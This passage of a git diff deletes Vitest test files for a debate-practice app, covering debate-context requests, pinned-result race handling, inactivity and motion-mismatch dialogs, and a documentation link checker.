excludeChatId: uuid(20) })); - expect(plan.outputs.map((item) => item.ref.id)).not.toContain(uuid(20)); - }); - - it('lists every result in the debate for the pin limit, including the chat open in Ask', () => { - const plan = planDebateContext('ask', 'both', TEST_DEBATE_ID, inputs({ - pins: [{ kind: 'case', id: uuid(10) }, { kind: 'chat', id: uuid(20) }, { kind: 'case', id: uuid(40) }], - excludeChatId: uuid(20), - })); - expect(plan.resultKeys.has(`case:${uuid(10)}`)).toBe(true); - expect(plan.resultKeys.has(`chat:${uuid(20)}`)).toBe(true); - expect(plan.resultKeys.has(`case:${uuid(40)}`)).toBe(false); - }); -}); - -describe('Current Debate context in requests and the Review control', () => { - beforeEach(async () => { - resetMockState(); - setMockSessionToken('token'); - await i18n.changeLanguage('en'); - useDebateContextStore.getState().resetLocalData(); - useSessionStore.setState({ - sourceLibrary: [source(1), source(2, { isActive: false })], - savedCases: [result(10, caseData) as SavedItem], - savedAttacks: [], savedBrainstorms: [], savedFactoids: [], savedChats: [], savedCrossfires: [], - serverHydration: 'complete', - }); - useSparringStore.setState({ hydrated: true, historyComplete: true }); - }); - afterEach(() => { - resetDebates(); - useSessionStore.setState({ sourceLibrary: [], savedCases: [] }); - }); - - const brainstormInput = { motion: 'This House would make public transport free', side: 'pro' as const, outputMode: 'topfive' as const, language: 'en' }; - const config = { provider: 'openrouter' as const, model: 'openai/gpt-6-luna' }; - const lastBody = () => (supabaseMock.functions.invoke.mock.calls.at(-1) as unknown as [string, { body: Record }])[1].body; - - it('sends IDs only, and a Review choice lasts for exactly one successful request', async () => { - seedCurrentDebate(); - setMockInvokeResponse({ output: { needsMoreInfo: false, clarifyingQuestions: [], topFive: [], nextSteps: [], warningsAndTradeoffs: [] } }); - useDebateContextStore.getState().setSourceChoice('brainstorm', TEST_DEBATE_ID, uuid(2), true); - - await brainstorm(brainstormInput, config); - const first = lastBody(); - expect(first.debateContext).toEqual({ - debateId: TEST_DEBATE_ID, - side: 'pro', - sourceIds: [uuid(1), uuid(2)], - outputs: [{ kind: 'case', id: uuid(10) }], - }); - expect(JSON.stringify(first.debateContext)).not.toContain('Evidence'); - - await brainstorm(brainstormInput, config); - expect((lastBody().debateContext as { sourceIds: string[] }).sourceIds).toEqual([uuid(1)]); - }); - - it('keeps a Review choice when the request fails', async () => { - seedCurrentDebate(); - setMockInvokeResponse(null, { message: 'boom', context: { status: 500 } }); - useDebateContextStore.getState().setSourceChoice('brainstorm', TEST_DEBATE_ID, uuid(1), false); - await expect(brainstorm(brainstormInput, config)).rejects.toThrow(); - expect(useDebateContextStore.getState().overrides.brainstorm?.sources[uuid(1)]).toBe(false); - }); - - it('reloads the debate list when the debate was deleted on another device', async () => { - seedCurrentDebate(); - const hydrate = vi.fn(async () => undefined); - const original = useDebateStore.getState().hydrate; - useDebateStore.setState({ hydrate }); - try { - setMockInvokeResponse(null, { message: 'Debate not found', context: { status: 404 } }); - await expect(brainstorm(brainstormInput, config)).rejects.toThrow(); - expect(hydrate).toHaveBeenCalledTimes(1); - } finally { - useDebateStore.setState({ hydrate: original }); - } - }); - - it('sends no debate material in one-off mode and says so above the button', async () => { - enableOneOffMode(); - setMockInvokeResponse({ output: { needsMoreInfo: false, clarifyingQuestions: [], topFive: [], nextSteps: [], warningsAndTradeoffs: [] } }); - await brainstorm(brainstormInput, config); - expect(lastBody().debateContext).toBeUndefined(); - expect(lastBody().sourceIds).toEqual([]); - - render(); - expect(screen.getByTestId('debate-context-control')).toHaveTextContent('One-off mode: no Current Debate material will be used or saved.'); - }); - - it('summarizes the selection and lets the student change it in Review', async () => { - seedCurrentDebate(); - render(); - const control = screen.getByTestId('debate-context-control'); - expect(control).toHaveTextContent('Using 1 source and 1 saved result: Case (In favor)'); - - fireEvent.click(within(control).getByRole('button', { name: 'Review' })); - const sheet = await screen.findByRole('dialog'); - expect(sheet).toHaveTextContent('What this request will use'); - fireEvent.click(within(sheet).getByRole('checkbox', { name: /Source 2/ })); - await waitFor(() => expect(control).toHaveTextContent('Using 2 sources and 1 saved result')); - expect(within(sheet).getByRole('button', { name: /Pin Result 10/ })).toHaveAttribute('aria-pressed', 'false'); - }); - - it('counts only what reaches the model and says how much did not fit', () => { - seedCurrentDebate(); - useSessionStore.setState({ sourceLibrary: Array.from({ length: 12 }, (_, i) => source(i + 1)), savedCases: [] }); - render(); - const control = screen.getByTestId('debate-context-control'); - expect(control).toHaveTextContent('Using 10 of 12 sources (2 didn’t fit)'); - }); - - it('keeps pin buttons disabled until saved results have loaded', async () => { - // Pins on results that have not loaded yet cannot be counted toward the limit. - seedCurrentDebate(); - useSessionStore.setState({ serverHydration: 'pending' }); - useSparringStore.setState({ hydrated: false, historyComplete: false }); - render(); - fireEvent.click(within(screen.getByTestId('debate-context-control')).getByRole('button', { name: 'Review' })); - const sheet = await screen.findByRole('dialog'); - await waitFor(() => expect(useDebateContextStore.getState().pinsLoaded[TEST_DEBATE_ID]).toBe(true)); - const pin = within(sheet).getByRole('button', { name: /Pin Result 10/ }); - - expect(pin).toBeDisabled(); - act(() => useSessionStore.setState({ serverHydration: 'complete' })); - expect(pin).toBeDisabled(); - act(() => useSparringStore.setState({ hydrated: true, historyComplete: true })); - expect(pin).toBeEnabled(); - }); - - it.each([ - ['a saved-result query', () => useSessionStore.setState({ serverHydration: 'partial' })], - ['the sparring history query', () => useSparringStore.setState({ historyComplete: false })], - ])('counts every pin toward the limit when %s failed', async (_name, failHydration) => { - // A result missing because its list failed to load may still exist. - seedCurrentDebate(); - failHydration(); - render(); - fireEvent.click(within(screen.getByTestId('debate-context-control')).getByRole('button', { name: 'Review' })); - const sheet = await screen.findByRole('dialog'); - await waitFor(() => expect(useDebateContextStore.getState().pinsLoaded[TEST_DEBATE_ID]).toBe(true)); - const unlisted = [40, 41, 42].map((n) => ({ kind: 'case' as const, id: uuid(n) })); - act(() => useDebateContextStore.setState((state) => ({ pins: { ...state.pins, [TEST_DEBATE_ID]: unlisted } }))); - - const pin = within(sheet).getByRole('button', { name: /Pin Result 10/ }); - expect(pin).toBeEnabled(); - fireEvent.click(pin); - await new Promise((done) => setTimeout(done, 0)); - - expect(useDebateContextStore.getState().pins[TEST_DEBATE_ID]).toEqual(unlisted); - }); -}); - -describe('Pinned results', () => { - const caseRef = { kind: 'case' as const, id: uuid(10) }; - const attackRef = { kind: 'attack' as const, id: uuid(11) }; - - function deferred() { - let resolve!: (value: T) => void; - const promise = new Promise((done) => { resolve = done; }); - return { promise, resolve }; - } - - beforeEach(() => { - resetMockState(); - useDebateContextStore.getState().resetLocalData(); - }); - - it('keeps an unpin made while an older pin load was still in flight', async () => { - const load = deferred<{ data: unknown; error: null }>(); - supabaseMock.from.mockImplementationOnce((() => ({ select: () => ({ eq: () => load.promise }) })) as never); - useDebateContextStore.setState({ pins: { [TEST_DEBATE_ID]: [caseRef] } }); - - const loading = useDebateContextStore.getState().loadPins(TEST_DEBATE_ID); - await useDebateContextStore.getState().togglePin(TEST_DEBATE_ID, caseRef); - load.resolve({ data: [{ item_kind: 'case', item_id: caseRef.id }], error: null }); - await loading; - - expect(useDebateContextStore.getState().pins[TEST_DEBATE_ID]).toEqual([]); - expect(useDebateContextStore.getState().pinsLoaded[TEST_DEBATE_ID]).toBe(true); - }); - - it('undoes only its own change when a pin fails to save', async () => { - const insert = deferred<{ error: { message: string } }>(); - supabaseMock.from.mockImplementationOnce((() => ({ insert: () => insert.promise })) as never); - useDebateContextStore.setState({ pins: { [TEST_DEBATE_ID]: [caseRef] } }); - - const pinning = useDebateContextStore.getState().togglePin(TEST_DEBATE_ID, attackRef); - const unpinning = useDebateContextStore.getState().togglePin(TEST_DEBATE_ID, caseRef); - insert.resolve({ error: { message: 'offline' } }); - await expect(pinning).rejects.toThrow('offline'); - await unpinning; - - expect(useDebateContextStore.getState().pins[TEST_DEBATE_ID]).toEqual([]); - }); - - it('keeps saved pins when the student pins before the first load returns', async () => { - const load = deferred<{ data: unknown; error: null }>(); - supabaseMock.from.mockImplementationOnce((() => ({ select: () => ({ eq: () => load.promise }) })) as never); - - const loading = useDebateContextStore.getState().loadPins(TEST_DEBATE_ID); - await useDebateContextStore.getState().togglePin(TEST_DEBATE_ID, attackRef); - load.resolve({ data: [{ item_kind: 'case', item_id: caseRef.id }], error: null }); - await loading; - - expect(useDebateContextStore.getState().pins[TEST_DEBATE_ID]).toEqual([caseRef, attackRef]); - }); - - it('keeps a pin that finished saving while an older load was in flight', async () => { - const insert = deferred<{ error: null }>(); - const load = deferred<{ data: unknown; error: null }>(); - supabaseMock.from - .mockImplementationOnce((() => ({ insert: () => insert.promise })) as never) - .mockImplementationOnce((() => ({ select: () => ({ eq: () => load.promise }) })) as never); - - const pinning = useDebateContextStore.getState().togglePin(TEST_DEBATE_ID, caseRef); - await new Promise((done) => setTimeout(done, 0)); - // The load reads the table before the insert commits, then answers after it. - const loading = useDebateContextStore.getState().loadPins(TEST_DEBATE_ID); - insert.resolve({ error: null }); - await pinning; - load.resolve({ data: [], error: null }); - await loading; - - expect(useDebateContextStore.getState().pins[TEST_DEBATE_ID]).toEqual([caseRef]); - }); - - it('saves a quick pin and unpin of the same result in the order they were made', async () => { - const insert = deferred<{ error: null }>(); - const calls: string[] = []; - const deleted = { eq: () => deleted, then: (done: (value: { error: null }) => void) => { calls.push('delete'); done({ error: null }); } }; - supabaseMock.from - .mockImplementationOnce((() => ({ insert: () => { calls.push('insert'); return insert.promise; } })) as never) - .mockImplementationOnce((() => ({ delete: () => deleted })) as never); - - const pinning = useDebateContextStore.getState().togglePin(TEST_DEBATE_ID, caseRef); - const unpinning = useDebateContextStore.getState().togglePin(TEST_DEBATE_ID, caseRef); - await new Promise((done) => setTimeout(done, 0)); - expect(calls).toEqual(['insert']); - insert.resolve({ error: null }); - await Promise.all([pinning, unpinning]); - - expect(calls).toEqual(['insert', 'delete']); - expect(useDebateContextStore.getState().pins[TEST_DEBATE_ID]).toEqual([]); - }); - - it('does not count pins on deleted results toward the limit', async () => { - const live = [12, 14].map((n) => ({ kind: 'case' as const, id: uuid(n) })); - const existing = new Set([...live, caseRef, attackRef].map((ref) => `${ref.kind}:${ref.id}`)); - useDebateContextStore.setState({ pins: { [TEST_DEBATE_ID]: [{ kind: 'case', id: uuid(40) }, ...live] } }); - - // Two quick clicks share one rendered plan; the second must see the first. - const first = useDebateContextStore.getState().togglePin(TEST_DEBATE_ID, attackRef, existing); - const second = useDebateContextStore.getState().togglePin(TEST_DEBATE_ID, caseRef, existing); - await expect(first).resolves.toBeUndefined(); - await expect(second).rejects.toThrow('pin_limit'); - }); - - it('keeps a later pin when an earlier save of the same result fails', async () => { - const firstInsert = deferred<{ error: { message: string } }>(); - const calls: string[] = []; - const deleted = { eq: () => deleted, then: (done: (value: { error: null }) => void) => { calls.push('delete'); done({ error: null }); } }; - supabaseMock.from - .mockImplementationOnce((() => ({ insert: () => { calls.push('insert'); return firstInsert.promise; } })) as never) - .mockImplementationOnce((() => ({ delete: () => deleted })) as never) - .mockImplementationOnce((() => ({ insert: () => { calls.push('insert'); return Promise.resolve({ error: null }); } })) as never); - - // Pin, unpin and pin again while the first save is still pending. - const toggles = [0, 1, 2].map(() => useDebateContextStore.getState().togglePin(TEST_DEBATE_ID, caseRef)); - firstInsert.resolve({ error: { message: 'offline' } }); - await Promise.all(toggles); - - expect(calls).toEqual(['insert', 'delete', 'insert']); - expect(useDebateContextStore.getState().pins[TEST_DEBATE_ID]).toEqual([caseRef]); - }); - - it('ends unpinned when a quick pin and unpin both fail to save', async () => { - const deleted = { eq: () => deleted, then: (done: (value: { error: { message: string } }) => void) => done({ error: { message: 'offline' } }) }; - supabaseMock.from - .mockImplementationOnce((() => ({ insert: () => Promise.resolve({ error: { message: 'offline' } }) })) as never) - .mockImplementationOnce((() => ({ delete: () => deleted })) as never); - - const pinning = useDebateContextStore.getState().togglePin(TEST_DEBATE_ID, caseRef); - const unpinning = useDebateContextStore.getState().togglePin(TEST_DEBATE_ID, caseRef); - await Promise.allSettled([pinning, unpinning]); - - // Neither save reached the database, so the result was never pinned. - expect(useDebateContextStore.getState().pins[TEST_DEBATE_ID]).toEqual([]); - }); - - it('treats pinning a result that is already saved as pinned', async () => { - const deleted = { eq: () => deleted, then: (done: (value: { error: { message: string } }) => void) => done({ error: { message: 'offline' } }) }; - supabaseMock.from - .mockImplementationOnce((() => ({ delete: () => deleted })) as never) - .mockImplementationOnce((() => ({ insert: () => Promise.resolve({ error: { code: '23505', message: 'duplicate key' } }) })) as never); - useDebateContextStore.setState({ pins: { [TEST_DEBATE_ID]: [caseRef] } }); - - // The unpin fails, so the row stays; pinning again must not unpin locally. - const unpinning = useDebateContextStore.getState().togglePin(TEST_DEBATE_ID, caseRef); - const pinning = useDebateContextStore.getState().togglePin(TEST_DEBATE_ID, caseRef); - await Promise.all([unpinning, pinning]); - - expect(useDebateContextStore.getState().pins[TEST_DEBATE_ID]).toEqual([caseRef]); - }); - - it('drops pin writes left over from before a sign-out', async () => { - const oldInsert = deferred<{ error: { message: string } }>(); - const calls: string[] = []; - supabaseMock.from - .mockImplementationOnce((() => ({ insert: () => { calls.push('old'); return oldInsert.promise; } })) as never) - .mockImplementationOnce((() => ({ insert: () => { calls.push('new'); return Promise.resolve({ error: null }); } })) as never); - - const oldPin = useDebateContextStore.getState().togglePin(TEST_DEBATE_ID, caseRef); - const oldQueued = useDebateContextStore.getState().togglePin(TEST_DEBATE_ID, attackRef); - await new Promise((done) => setTimeout(done, 0)); - useDebateContextStore.getState().resetLocalData(); - - // The next account's change must not wait behind the old one. - await useDebateContextStore.getState().togglePin(TEST_DEBATE_ID, caseRef); - expect(calls).toEqual(['old', 'new']); - - // The old failure must not undo the new account's pin, and the queued old - // write must never run under the new account. - oldInsert.resolve({ error: { message: 'offline' } }); - await expect(oldPin).resolves.toBeUndefined(); - await expect(oldQueued).resolves.toBeUndefined(); - expect(calls).toEqual(['old', 'new']); - expect(useDebateContextStore.getState().pins[TEST_DEBATE_ID]).toEqual([caseRef]); - }); - - it('ignores a pin load that returns after a sign-out', async () => { - const load = deferred<{ data: unknown; error: null }>(); - supabaseMock.from.mockImplementationOnce((() => ({ select: () => ({ eq: () => load.promise }) })) as never); - - const loading = useDebateContextStore.getState().loadPins(TEST_DEBATE_ID); - useDebateContextStore.getState().resetLocalData(); - load.resolve({ data: [{ item_kind: 'case', item_id: caseRef.id }], error: null }); - await loading; - - expect(useDebateContextStore.getState().pins[TEST_DEBATE_ID]).toBeUndefined(); - expect(useDebateContextStore.getState().pinsLoaded[TEST_DEBATE_ID]).toBeUndefined(); - }); -}); diff --git a/src/test/debate/debate-gates.test.tsx b/src/test/debate/debate-gates.test.tsx deleted file mode 100644 index becfc6032..000000000 --- a/src/test/debate/debate-gates.test.tsx +++ /dev/null @@ -1,205 +0,0 @@ -import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; -import { act, fireEvent, render, screen, waitFor } from '@testing-library/react'; -import { MemoryRouter } from 'react-router-dom'; -import { resetMockState, supabaseMock } from '@/test/mocks/supabase'; - -vi.mock('@/lib/supabase/client', async () => ({ supabase: (await import('@/test/mocks/supabase')).supabaseMock })); - -import i18n from '@/i18n'; -import { InactiveDebateGate } from '@/components/features/debate/DebateDialogs'; -import { useDebateMotionGate, type DebateTarget } from '@/components/features/debate/DebateMotionGate'; -import { INACTIVE_DEBATE_MS, useDebateStore } from '@/lib/stores/debate-store'; -import { resetDebates, seedCurrentDebate } from '@/test/helpers/debate'; - -const DAY = 24 * 60 * 60 * 1000; - -describe('five-day Current Debate gate', () => { - beforeEach(async () => { - resetMockState(); - await i18n.changeLanguage('en'); - }); - afterEach(() => resetDebates()); - - const renderGate = () => render(); - - it('blocks the app after five days without meaningful work, offering only Continue, Start new, or Switch', () => { - seedCurrentDebate({ motion: 'This House would ban homework', lastActivityAt: Date.now() - INACTIVE_DEBATE_MS - DAY }); - renderGate(); - const dialog = screen.getByRole('alertdialog'); - expect(dialog).toHaveTextContent('Still preparing this debate?'); - expect(dialog).toHaveTextContent('This House would ban homework'); - const buttons = Array.from(dialog.querySelectorAll('button')).map((button) => button.textContent); - expect(buttons).toEqual(['Switch debate', 'Start new debate', 'Continue']); - }); - - it('treats Escape as Continue, so the gate never traps the user', async () => { - seedCurrentDebate({ lastActivityAt: Date.now() - 6 * DAY }); - renderGate(); - fireEvent.keyDown(screen.getByRole('alertdialog'), { key: 'Escape' }); - await waitFor(() => expect(screen.queryByRole('alertdialog')).toBeNull()); - expect(Date.now() - useDebateStore.getState().debates[0].lastActivityAt).toBeLessThan(1000); - }); - - it('stays out of the way before five days and before the server state loads', () => { - seedCurrentDebate({ lastActivityAt: Date.now() - 4 * DAY }); - const { unmount } = renderGate(); - expect(screen.queryByRole('alertdialog')).toBeNull(); - unmount(); - - seedCurrentDebate({ lastActivityAt: Date.now() - 6 * DAY }); - useDebateStore.setState({ hydrated: false }); - renderGate(); - expect(screen.queryByRole('alertdialog')).toBeNull(); - }); - - it('Continue resets the inactivity clock on the server and closes the gate', async () => { - seedCurrentDebate({ lastActivityAt: Date.now() - 6 * DAY }); - renderGate(); - fireEvent.click(screen.getByRole('button', { name: 'Continue' })); - await waitFor(() => expect(screen.queryByRole('alertdialog')).toBeNull()); - expect(supabaseMock.from).toHaveBeenCalledWith('debates'); - expect(Date.now() - useDebateStore.getState().debates[0].lastActivityAt).toBeLessThan(1000); - }); - - it('marks a failed debate load so Home stops showing it as loading', async () => { - const failing = () => ({ - select: () => ({ - order: async () => ({ data: null as unknown, error: { message: 'unavailable' } }), - maybeSingle: async () => ({ data: null as unknown, error: null as unknown }), - }), - }) as unknown as ReturnType; - supabaseMock.from.mockImplementationOnce(failing).mockImplementationOnce(failing); - useDebateStore.setState({ hydrated: false, loadFailed: false }); - await useDebateStore.getState().hydrate(); - expect(useDebateStore.getState()).toMatchObject({ hydrated: false, loadFailed: true }); - }); -}); - -function GateHarness({ motion, onTarget }: { motion: string; onTarget: (target: DebateTarget) => void }) { - const gate = useDebateMotionGate(); - return ( - <> - - {gate.dialog} - - ); -} - -describe('motion mismatch choice', () => { - beforeEach(async () => { - resetMockState(); - await i18n.changeLanguage('en'); - }); - afterEach(() => resetDebates()); - - it('proceeds immediately into the Current Debate when the motion matches', () => { - const debate = seedCurrentDebate({ motion: 'This House would ban homework' }); - const onTarget = vi.fn(); - render(); - fireEvent.click(screen.getByRole('button', { name: 'Submit' })); - expect(onTarget).toHaveBeenCalledWith({ debateId: debate.id }); - expect(screen.queryByRole('dialog')).toBeNull(); - }); - - it('asks before a different motion and runs it once without a debate when chosen', () => { - seedCurrentDebate({ motion: 'This House would ban homework' }); - const onTarget = vi.fn(); - render(); - fireEvent.click(screen.getByRole('button', { name: 'Submit' })); - expect(onTarget).not.toHaveBeenCalled(); - const dialog = screen.getByRole('dialog'); - expect(dialog).toHaveTextContent('This is a different motion'); - expect(screen.queryByRole('button', { name: 'Switch to this existing debate' })).toBeNull(); - fireEvent.click(screen.getByRole('button', { name: 'Use once without saving to a debate' })); - expect(onTarget).toHaveBeenCalledWith({ debateId: null }); - // The Current Debate did not change. - expect(useDebateStore.getState().debates).toHaveLength(1); - }); - - it('switches to an existing debate with the same motion', async () => { - const homework = seedCurrentDebate({ motion: 'This House would ban homework' }); - const zoos = { ...homework, id: '22222222-2222-4222-8222-222222222222', motion: 'This House would abolish zoos' }; - useDebateStore.setState({ debates: [homework, zoos] }); - const onTarget = vi.fn(); - render(); - fireEvent.click(screen.getByRole('button', { name: 'Submit' })); - fireEvent.click(screen.getByRole('button', { name: 'Switch to this existing debate' })); - await waitFor(() => expect(onTarget).toHaveBeenCalledWith({ debateId: zoos.id })); - expect(useDebateStore.getState().currentDebateId).toBe(zoos.id); - }); - - it('creates a new Current Debate from the motion', async () => { - seedCurrentDebate({ motion: 'This House would ban homework' }); - supabaseMock.from.mockImplementationOnce(() => ({ - insert: () => ({ select: () => ({ single: async () => ({ - data: { id: 'new-debate', motion: 'This House would abolish zoos', settings: {}, instructions: '', last_activity_at: new Date().toISOString(), created_at: new Date().toISOString() }, - error: null as unknown, - }) }) }), - }) as unknown as ReturnType); - const onTarget = vi.fn(); - render(); - fireEvent.click(screen.getByRole('button', { name: 'Submit' })); - await act(async () => { - fireEvent.click(screen.getByRole('button', { name: 'Create a new debate for this motion' })); - }); - await waitFor(() => expect(onTarget).toHaveBeenCalledWith({ debateId: 'new-debate' })); - expect(useDebateStore.getState().currentDebateId).toBe('new-debate'); - expect(useDebateStore.getState().debates.map((debate) => debate.motion)).toContain('This House would ban homework'); - }); - - const mockCreatedDebate = (id: string, motion: string) => { - supabaseMock.from.mockImplementationOnce(() => ({ - insert: () => ({ select: () => ({ single: async () => ({ - data: { id, motion, settings: {}, instructions: '', last_activity_at: new Date().toISOString(), created_at: new Date().toISOString() }, - error: null as unknown, - }) }) }), - }) as unknown as ReturnType); - }; - - it('offers a first debate instead of the switch choice when there is no Current Debate', async () => { - mockCreatedDebate('first-debate', 'This House would abolish zoos'); - const onTarget = vi.fn(); - render(); - fireEvent.click(screen.getByRole('button', { name: 'Submit' })); - expect(onTarget).not.toHaveBeenCalled(); - const dialog = screen.getByRole('dialog', { name: 'Start a debate with this motion?' }); - expect(dialog).toHaveTextContent('This House would abolish zoos'); - expect(dialog).not.toHaveTextContent('different motion'); - const buttons = Array.from(dialog.querySelectorAll('button')).map((button) => button.textContent).filter((text) => text !== 'Close'); - expect(buttons).toEqual(['Start debate', 'Not now, use it once']); - await act(async () => { - fireEvent.click(screen.getByRole('button', { name: 'Start debate' })); - }); - await waitFor(() => expect(onTarget).toHaveBeenCalledWith({ debateId: 'first-debate' })); - expect(useDebateStore.getState().currentDebateId).toBe('first-debate'); - }); - - it('lets a user with no Current Debate decline the offer and run the motion once', () => { - const onTarget = vi.fn(); - render(); - fireEvent.click(screen.getByRole('button', { name: 'Submit' })); - fireEvent.click(screen.getByRole('button', { name: 'Not now, use it once' })); - expect(onTarget).toHaveBeenCalledWith({ debateId: null }); - expect(useDebateStore.getState().debates).toHaveLength(0); - }); - - it('still offers an existing debate with the same motion when none is current', async () => { - const zoos = seedCurrentDebate({ motion: 'This House would abolish zoos' }); - useDebateStore.setState({ currentDebateId: null }); - const onTarget = vi.fn(); - render(); - fireEvent.click(screen.getByRole('button', { name: 'Submit' })); - expect(screen.getByRole('dialog', { name: 'Start a debate with this motion?' })).toBeInTheDocument(); - fireEvent.click(screen.getByRole('button', { name: 'Switch to this existing debate' })); - await waitFor(() => expect(onTarget).toHaveBeenCalledWith({ debateId: zoos.id })); - }); - - it('does nothing when the user dismisses the choice', () => { - seedCurrentDebate({ motion: 'This House would ban homework' }); - const onTarget = vi.fn(); - render(); - fireEvent.click(screen.getByRole('button', { name: 'Submit' })); - fireEvent.keyDown(screen.getByRole('dialog'), { key: 'Escape' }); - expect(onTarget).not.toHaveBeenCalled(); - }); -}); diff --git a/src/test/docs/check-docs.test.ts b/src/test/docs/check-docs.test.ts deleted file mode 100644 index 1b9fc4247..000000000 --- a/src/test/docs/check-docs.test.ts +++ /dev/null @@ -1,192 +0,0 @@ -import { afterEach, describe, expect, it } from "vitest"; -import { mkdtemp, mkdir, rm, writeFile } from "node:fs/promises"; -import { tmpdir } from "node:os"; -import { dirname, join, resolve } from "node:path"; -import { pathToFileURL } from "node:url"; - -interface DocIssue { - file: string; - line: number; - message: string; -} - -type CheckDocs = (rootDir: string) => Promise; - -const temporaryRoots: string[] = []; - -async function createRoot(): Promise { - const root = await mkdtemp(join(tmpdir(), "debatelab-docs-")); - temporaryRoots.push(root); - return root; -} - -async function write(root: string, relativePath: string, content: string): Promise { - const target = join(root, relativePath); - await mkdir(dirname(target), { recursive: true }); - await writeFile(target, content); -} - -async function loadCheckDocs(): Promise { - const checkerUrl = pathToFileURL(resolve("scripts/check-docs.mjs")).href; - const checkerModule = await import(checkerUrl); - return checkerModule.checkDocs; -} - -afterEach(async () => { - await Promise.all(temporaryRoots.splice(0).map((root) => rm(root, { recursive: true, force: true }))); -}); - -describe("checkDocs", () => { - it("accepts an existing local inline link", async () => { - const root = await createRoot(); - await write(root, "README.md", "Read the [guide](docs/guide.md).\n"); - await write(root, "docs/guide.md", "# Guide\n"); - - await expect((await loadCheckDocs())(root)).resolves.toEqual([]); - }); - - it("checks new Markdown files by default", async () => { - const root = await createRoot(); - await write(root, "notes/new.md", "Run `cd debate-navigator`.\n"); - - const issues = await (await loadCheckDocs())(root); - - expect(issues).toHaveLength(1); - expect(issues[0]).toMatchObject({ file: "notes/new.md", line: 1 }); - }); - - it("checks the plan index but excludes other plan artifacts", async () => { - const root = await createRoot(); - await write(root, "plans/README.md", "Run `cd debate-navigator`.\n"); - await write(root, "plans/old.md", "**Status:** Shipped.\n\nRun `cd debate-navigator`.\n"); - - const issues = await (await loadCheckDocs())(root); - - expect(issues).toHaveLength(1); - expect(issues[0].file).toBe("plans/README.md"); - }); - - it.each([ - ".git/notes.md", - "node_modules/package/README.md", - "dist/report.md", - "coverage/report.md", - "test-results/report.md", - "playwright-report/report.md", - ])("excludes %s", async (relativePath) => { - const root = await createRoot(); - await write(root, relativePath, "Run `cd debate-navigator`.\n"); - - await expect((await loadCheckDocs())(root)).resolves.toEqual([]); - }); - - it.each([ - "Run `cd debate-navigator`.", - "Run `pushd debate-navigator`.", - "Run `git -C debate-navigator status`.", - "Open `debate-navigator/docs/setup.md`.", - "Open `/tmp/debate-navigator/file`.", - "Open `/home/codex/Projects/debate-navigator`.", - ])("rejects an actionable retired checkout form: %s", async (content) => { - const root = await createRoot(); - await write(root, "README.md", `${content}\n`); - - const issues = await (await loadCheckDocs())(root); - - expect(issues).toHaveLength(1); - expect(issues[0].message).toContain("retired checkout"); - }); - - it("allows the former repository name in historical prose", async () => { - const root = await createRoot(); - await write(root, "README.md", "The project was formerly named debate-navigator.\n"); - - await expect((await loadCheckDocs())(root)).resolves.toEqual([]); - }); - - it.each([ - "Read the [missing guide](docs/missing.md).", - "[guide]: docs/missing.md", - ])("rejects a missing local target: %s", async (content) => { - const root = await createRoot(); - await write(root, "README.md", `${content}\n`); - - const issues = await (await loadCheckDocs())(root); - - expect(issues).toHaveLength(1); - expect(issues[0].message).toContain("missing local link target"); - }); - - it("rejects a missing multiline local target", async () => { - const root = await createRoot(); - await write(root, "README.md", "Read the [missing guide](\n docs/missing.md\n).\n"); - - const issues = await (await loadCheckDocs())(root); - - expect(issues).toHaveLength(1); - expect(issues[0]).toMatchObject({ file: "README.md", line: 1 }); - expect(issues[0].message).toContain("missing local link target"); - }); - - it("accepts encoded paths and query or fragment suffixes", async () => { - const root = await createRoot(); - await write( - root, - "README.md", - "[encoded](docs/my%20guide.md) [query](docs/guide.md?raw=1) [fragment](docs/guide.md#setup)\n", - ); - await write(root, "docs/my guide.md", "# Encoded\n"); - await write(root, "docs/guide.md", "# Setup\n"); - - await expect((await loadCheckDocs())(root)).resolves.toEqual([]); - }); - - it.each([ - "[web](https://example.com)", - "[protocol-relative](//cdn.example.com/guide.md)", - "[mail](mailto:test@example.com)", - "[phone](tel:+123456789)", - "[data](data:text/plain,hello)", - "[section](#section)", - ])("ignores non-file target %s", async (link) => { - const root = await createRoot(); - await write(root, "README.md", `${link}\n`); - - await expect((await loadCheckDocs())(root)).resolves.toEqual([]); - }); - - it("requires a status line on every plan", async () => { - const root = await createRoot(); - await write(root, "plans/README.md", "# Plans\n"); - await write(root, "plans/new.md", "# New plan\n\nNo status yet.\n"); - await write(root, "plans/dated.md", "# Dated plan\n\n**Status:** Plan. Written 2026-10-01.\n"); - - const issues = await (await loadCheckDocs())(root); - - expect(issues).toEqual([ - { file: "plans/new.md", line: 1, message: "plan has no **Status:** line in its first 15 lines" }, - ]); - }); - - it("rejects a plan listed under Shipped whose status is not shipped", async () => { - const root = await createRoot(); - await write( - root, - "plans/README.md", - "# Plans\n\n## Backlog\n\n- [Next](next.md)\n\n## Shipped\n\n- Done: #1. [Done](done.md)\n- Stale: #2. [Stale](./stale.md)\n", - ); - await write(root, "plans/next.md", "**Status:** Plan.\n"); - await write(root, "plans/done.md", "**Status:** Shipped in #1.\n"); - await write(root, "plans/stale.md", "**Status:** Plan. Written 2026-10-01.\n"); - - const issues = await (await loadCheckDocs())(root); - - expect(issues).toEqual([ - { - file: "plans/README.md", - line: 10, - message: 'stale.md is listed under Shipped but its status is not "Shipped": Plan. Written 2026-10-01.', - }, - ]); - }); -}); diff --git a/src/test/free-tools/motion-bank.test.ts b/src/test/free-tools/motion-bank.test.ts deleted file mode 100644 index b6e01e574..000000000 --- a/src/test/free-tools/motion-bank.test.ts +++ /dev/null @@ -1,47 +0,0 @@ -import { describe, expect, it } from 'vitest'; -import { PRACTICE_MOTIONS } from '@/lib/free-tools/practice-motions'; -import { MOTION_TOPICS } from '@/lib/free-tools/motion-types'; -import { drawMotions, filterMotions, filtersFromSearch, motionsFromSearch, NO_FILTERS, searchFor, type MotionFilters } from '@/lib/free-tools/motion-bank'; - -const PREFIX = { policy: 'This House would ', value: 'This House believes that ', actor: 'This House, as ', regret: 'This House regrets ', prefer: 'This House prefers ' } as const; - -describe('practice motion bank', () => { - it('has stable unique ids and both wordings for every motion', () => { - // Ids are permalinks: a duplicate would send a shared link to the wrong motion. - expect(new Set(PRACTICE_MOTIONS.map((motion) => motion.id)).size).toBe(PRACTICE_MOTIONS.length); - for (const motion of PRACTICE_MOTIONS) { - expect(motion.id).toMatch(/^[a-z]+-\d{3}$/); - expect(motion.motion.startsWith(PREFIX[motion.type])).toBe(true); - expect(motion.resolved).toMatch(/^Resolved: .+\.$/); - } - for (const topic of MOTION_TOPICS) expect(PRACTICE_MOTIONS.some((motion) => motion.topic === topic)).toBe(true); - }); - - it('filters by topic, difficulty and type together', () => { 